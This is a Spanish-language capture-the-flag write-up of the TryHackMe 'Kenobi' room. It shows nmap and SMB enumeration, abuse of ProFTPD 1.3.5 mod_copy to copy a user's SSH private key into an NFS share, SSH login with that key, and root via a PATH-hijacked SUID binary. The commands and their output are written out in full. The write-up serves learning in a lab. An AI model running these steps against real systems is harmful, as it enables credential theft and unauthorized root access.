Kenobi [TryHackMe]

2023-08-28

Introducción

La sala ¨Kenobi” está pensada como introducción de la serie “Offensive Pentesting”. Es la tercera máquina, y tiene una dificultad baja. El objetivo es vulnerar una máquina Linux para obtener acceso a un recurso compartido de Samba, manipular una versión vulnerable de proftpd para obtener acceso inicial y escalar privilegios a root a través de un binario SUID.

Task 1 - Desplegar la máquina

Paso 1:

  • Escaneo la máquina desplegada para descubrir los servicios. Encuentro 7 puertos abiertos.
  • El objetivo tiene servicios FTP, SSH, HTTP y SAMBA como posibles vectores de ataque.
# Escaneo inicial con salida a fichero
sudo nmap -sS --min-rate 5000 -p- -Pn -v -oN nmap_inicial 10.10.107.4

# Listo y filtro los puertos en nmap_inicial
ports=$(cat nmap_inicial | grep '^[0-9]' | cut -d '/' -f1 | xargs | tr ' ' ',')

# Escaneo final con los puertos guardados
nmap -p$ports -sC -sV -Pn -oN nmap_final 10.10.107.4
  • Salida de shell para analizar:
# Resultado de escaneo
╰─ cat nmap_final | grep tcp                                                                                                                                                                                      ─╯
21/tcp    open  ftp         ProFTPD 1.3.5
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind     2-4 (RPC #100000)
|   100000  2,3,4        111/tcp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3      58369/tcp6  mountd
|   100005  1,2,3      59881/tcp   mountd
|   100021  1,3,4      40297/tcp6  nlockmgr
|   100021  1,3,4      44483/tcp   nlockmgr
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open           Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp  open  nfs         2-4 (RPC #100003)
44483/tcp open  nlockmgr    1-4 (RPC #100021)
49693/tcp open  mountd      1-3 (RPC #100005)
50169/tcp open  mountd      1-3 (RPC #100005)
59881/tcp open  mountd      1-3 (RPC #100005)

Task 2 - Enumerando Samba

  • Uso de nuevo nmap con un script específico para enumerar servicios SMB.
  • Se encuentran 3 recursos compartidos, siendo “anonymous” uno de ellos, siendo una posible vía de acceso inicial.
  • Se accede con smbclient y la cuenta anonymous, encontrando un fichero log con informacion sobre claves SSH y configuración de FTP.
  • Escaneo puerto 111 para RPCbind con scripts de Network File Sharing usando nmap. Se encuentra un punto de montaje en “/var”.

Paso 1: Enumero SMB con NMAP

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.107.4
  • Resultado para analizar
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-enum-shares: 
|   account_used: guest
|   \\10.10.107.4\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 2
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.107.4\anonymous: 
|     Type: STYPE_DISKTREE
|     Comment: 
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.107.4\print$: 
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 6.49 seconds

Paso 2: Accedo con smbclient

# accedo con smbclient
smbclient //10.10.107.4/anonymous

# Reviso contenido

smb: \> ls
  .                                   D        0  Wed Sep  4 12:49:09 2019
  ..                                  D        0  Wed Sep  4 12:56:07 2019
  log.txt                             N    12237  Wed Sep  4 12:49:09 2019

# Descargo fichero
smb: \> get log.txt

Paso 3: Escaneo de puerto RPC

# Escaneo con nmap del puerto 111
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.107.4

# Resultado
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 22:32 CEST
Nmap scan report for 10.10.107.4
Host is up (0.042s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Task 3 - Acceso inicial con ProFTPD

  • La versión del servicio es 1.3.5

  • En Exploit-DB se encuentra 4 exploits para esa versión.

  • Se usa el exploit de **ProFTPD module mod_copy.

  • El módulo mod_copy implementa los comandos SITE CPFR y SITE CPTO, que se pueden usar para copiar archivos/directorios de un lugar a otro en el servidor. Cualquier cliente no autenticado puede aprovechar estos comandos para copiar archivos desde cualquier parte del sistema de archivos a un destino elegido.

  • Me conecto con netcat y descargo la clave privada de Kenobi.

  • Monto el directorio compartido /var/tmp en mi equipo y descargo la clave privada ssh.

Paso 4: Conexión con Netcat

# Conexion al puerto 21 con Netcat
nc 10.10.107.4 21                                                                                                                                                                                              ─╯
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.107.4]

# En nc, ejecuto el primer comando para copiar el fichero 
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name

# Ejecuto el segundo comando que lo pega en la unidad montada en /var
SITE CPTO /var/tmp/id_rsa  
250 Copy successful

Paso 5: Acceso al directorio remoto

# Creo una carpeta en mi equipo
mkdir /mnt/kenobiNFS

# Monto el directorio compartido en mi equipo
mount 10.10.107.4:/var /mnt/kenobiNFS

# Listo el directorio para comprobarlo
ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root  4096 sep  4  2019 .
drwxr-xr-x  3 root root  4096 ago 27 22:44 ..
drwxr-xr-x  2 root root  4096 sep  4  2019 backups
drwxr-xr-x  9 root root  4096 sep  4  2019 cache
drwxrwxrwt  2 root root  4096 sep  4  2019 crash
drwxr-xr-x 40 root root  4096 sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 abr 12  2016 local
lrwxrwxrwx  1 root root     9 sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root tss   4096 sep  4  2019 log
drwxrwsr-x  2 root mail  4096 feb 27  2019 mail
drwxr-xr-x  2 root root  4096 feb 27  2019 opt
lrwxrwxrwx  1 root root     4 sep  4  2019 run -> /run
drwxr-xr-x  2 root root  4096 ene 30  2019 snap
drwxr-xr-x  5 root root  4096 sep  4  2019 spool
drwxrwxrwt  6 root root  4096 ago 27 22:40 tmp
drwxr-xr-x  3 root root  4096 sep  4  2019 www

Paso 6: Acceso SSH

# Me copio la clave privada que esta en /tmp
cp id_rsa ~/Descargas

# Le doy permisos
sudo chmod 660 id_rsa

# Me conecto con la clave privada por ssh
ssh -i id_rsa kenobi@10.10.107.4

# Obtengo la bandera que hay en el home de Kenobi
kenobi@kenobi:~$ cat user.txt

Task 4 - Privilege Escalation con la variable PATH

  • Busco binarios con el bit SUID activado.
  • Se encuentra el binario /usr/bin/menu que llama la atención sobre el resto.
  • El binario tiene un menu con 3 opciones, cada una ejecuta un comando.
  • Ejecutando strings sobre el binario se ve que comandos ejectua:
    • curl -I localhost
    • uname -r
    • ifconfig
  • Se modifica PATH para explotar el permiso de root que tienen los binarios del menu, haciendo una copia de /bin/sh en /tmp con el nombre curl, le asignamos todos los permisos y exportamos el directorio a la variable PATH.
# Crear copia de sh en /tmp
cd /tmp/
echo /bin/sh > curl

# Dar permisos
chmod 777 curl

# Exportar a variable PATH
export PATH=/tmp:$PATH

# Explotar uso de menu para obtener root
/usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
# whoami
root
# id
uid=0(root) gid=1000(kenobi) groups=1000(kenobi),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)

Conclusion

Con Kenobi acabamos el bloque introductorio de “Offensive Pentesting”. Es una sala muy sencilla, pero es divertida, sobretodo siendo temática de Star Wars. A partir de ahora se empezará a jugar con máquinas más complejas, por lo que la confianza ganada hasta aquí también considero que es importante subrayar.

(◕‿‿◕) Hack the planet!